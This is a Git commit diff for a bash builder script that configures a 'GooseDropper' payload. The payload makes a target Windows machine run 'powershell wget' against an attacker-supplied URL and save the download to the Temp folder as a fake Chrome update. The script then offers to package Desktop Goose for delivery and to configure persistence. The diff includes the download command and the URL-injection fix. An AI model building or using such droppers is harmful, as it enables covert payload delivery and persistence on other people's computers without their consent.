Merge pull request #2 from Fr3ki/v2.0_bugfix_1

V2.0 bugfix 1
This commit is contained in:
Malachi
2023-10-31 16:35:08 -06:00
committed by GitHub
+10 -2
View File
@@ -21,9 +21,9 @@ elif [ "${DL}" == "2" ];
then then
#Get your URL #Get your URL
read -p "Enter your URL: " SRC read -p "Enter your URL: " SRC
SRC="$(echo "$SRC" | sed 's/\//\\\//g')"
#Add your URL to the payload #Add your URL to the payload
sed -i "s/powershell wget YOUR_IP:1337\/Chrome_Update.zip -OutFile \$ENV:Temp\/Updater.zip/powershell \"wget \'$SRC\' -OutFile \$ENV:Temp\/Updater.zip\"/" GooseDropper.txt sed -i "s/powershell wget YOUR_IP:1337\/Chrome_Update.zip -OutFile \$ENV:Temp\/Update.zip/powershell \"wget \'${SRC}\' -OutFile \$ENV:Temp\/Updater.zip\"/" GooseDropper.txt
#Remind users to have the zip ready #Remind users to have the zip ready
echo "Please ensure a ZIP file with proper contents and formatting is hosted at the provided URL" echo "Please ensure a ZIP file with proper contents and formatting is hosted at the provided URL"
@@ -36,9 +36,14 @@ else
fi fi
read -p "Create ZIP file to deliver Desktop Goose? [Y/N]: " COMP
#Check if Desktop Goose is present in this directory #Check if Desktop Goose is present in this directory
GOOSE="$(ls | grep 'Desktop Goose v0.31.zip')" GOOSE="$(ls | grep 'Desktop Goose v0.31.zip')"
if [ "${COMP,,}" == "y" ];
then
if [ "${GOOSE}" == "" ]; if [ "${GOOSE}" == "" ];
then then
echo "Desktop Goose is not present in this directory, download it, or move it here" echo "Desktop Goose is not present in this directory, download it, or move it here"
@@ -52,6 +57,9 @@ else
rm -rf "Desktop Goose v0.31"* Update rm -rf "Desktop Goose v0.31"* Update
clear clear
fi fi
else
break
fi
read -p "Configure Persistence? [Y/N]: " PERSIST read -p "Configure Persistence? [Y/N]: " PERSIST